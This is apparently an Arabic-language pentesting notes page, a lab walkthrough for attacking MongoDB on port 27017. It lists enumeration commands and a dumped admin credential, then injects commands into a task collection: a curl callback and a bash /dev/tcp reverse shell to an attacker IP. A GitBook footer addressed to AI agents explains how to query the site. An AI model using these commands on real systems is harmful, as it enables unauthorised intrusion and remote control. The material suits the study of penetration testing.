> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/ports-and-services/mongodb-27017.md).

# MongoDB - 27017

### استكشاف MongoDB

<figure><img src="/files/acc55c7b5496773c1c0a8b43495ded69bd418a71" alt=""><figcaption></figcaption></figure>

الاتصال بقاعدة بيانات MongoDB على المنفذ 27017:

```bash
mongo
عرض قواعد البيانات
استخدم blog
عرض الجداول
db.users.find()
```

<figure><img src="/files/06d3297db07225903b4145b9a24f3f5e87b95cbf" alt="" width="563"><figcaption></figcaption></figure>

* المستخدم: admin
* كلمة المرور: IppsecSaysPleaseSubscribe

<figure><img src="/files/2945ba341358bc95ade7070a6a4dc55b2c02ae2c" alt=""><figcaption></figcaption></figure>

### تنفيذ أوامر عن بُعد في MongoDB

الـ `app.js` ينفذ البرنامج النصي أوامر النظام من مستندات MongoDB عبر `doc.cmd`. هذه ثغرة حرجة لأن الأوامر العشوائية يمكن حقنها وتنفيذها.

<figure><img src="/files/f9efb7740d418952640c165b08d008e7dec11912" alt=""><figcaption></figcaption></figure>

تأكيد تنفيذ الأوامر عبر MongoDB.

**إنشاء خادم ويب محلي**

على الجهاز المهاجم، شغّل خادم ويب لمراقبة الطلبات:

```bash
python3 -m http.server 80
```

**إدراج أمر تجريبي في `المهام` المجموعة**

في MongoDB، أدرج أمراً يجعل طلب HTTP إلى الجهاز المهاجم:

```bash
db.tasks.insert({  cmd: "curl http://10.10.14.30"})
```

**مراقبة الطلبات**

إذا رأيت طلباً في سجلات خادم الويب، فهذا يؤكد أن الأوامر تُنفَّذ.

<figure><img src="/files/48961cdc9ece9e66062f19ac0ffe3cbc6edc020a" alt=""><figcaption></figcaption></figure>

إعداد غلاف عكسي والاستماع على المنفذ 443:

```bash
nc -nlvp 443
```

#### تشغيل غلاف عكسي

**تهيئة مستمع على المنفذ 443** على الجهاز المهاجم:

```bash
nc -nlvp 443
```

**إدراج أمر غلاف عكسي**

في MongoDB، أدرج أمراً لإنشاء غلاف عكسي:

```bash
db.tasks.insert({  cmd: "bash -c 'bash -i >&/dev/tcp/10.10.14.30/443 0>&1'"})
```

**تم الاتصال بنجاح** بمجرد تنفيذ الأمر، ستحصل على غلاف تفاعلي على الجهاز الهدف تحت المستخدم **tom**.

<figure><img src="/files/33398516e6866e0897572dbcb42dea4c8e96081b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/ports-and-services/mongodb-27017.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
